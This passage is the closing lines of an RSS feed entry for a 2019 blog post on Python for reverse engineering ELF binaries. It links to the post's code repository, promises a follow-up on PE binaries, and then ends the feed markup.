1713<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p>
1714
1715<p>Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.</p>
1716]]></description><link>https://icyphox.sh/blog/python-for-re-1</link><pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/python-for-re-1</guid></item></channel>
1717</rss>